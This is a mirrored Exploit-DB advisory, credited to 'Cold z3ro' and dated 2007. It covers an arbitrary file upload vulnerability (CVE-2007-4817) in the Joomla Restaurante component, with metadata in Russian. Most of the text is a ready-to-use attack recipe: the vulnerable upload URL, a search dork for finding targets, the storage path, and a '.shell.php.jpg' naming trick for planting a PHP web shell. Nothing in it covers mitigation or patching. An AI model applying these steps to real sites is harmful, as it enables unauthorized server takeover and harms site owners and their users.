Exploit Joomla! Component Restaurante - Arbitrary File Upload

[Exploiter]

EDB-ID

4383

Проверка EDB

1. Пройдено

Автор

COLD ZERO

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-4817

Дата публикации

2007-09-08

Joomla Component Restaurante <= Remote File Upload Vulnerability

found by  : Cold z3ro

Homepage : www.hackteach.org , www.xp10.com

================================================================

@################################################################@
# joomla/index.php?option=com_restaurante&task=upload
#
# /joomla/components/com_restaurante/img_original/.shell.php.jpg
#
# Dork : /index.php?option=com_restaurante
@################################################################@


Attacker can upload any file using this link

joomla/index.php?option=com_restaurante&task=upload

after upload the file , He can find it in :

/components/com_restaurante/img_original

But the attacker should add ( Point ) befor filename

Example :

if attacker uploaded file named shell.php.jpg

its name will by like this .shell.php.jpg

in path :

/components/com_restaurante/img_original/.shell.php.jpg

# milw0rm.com [2007-09-08]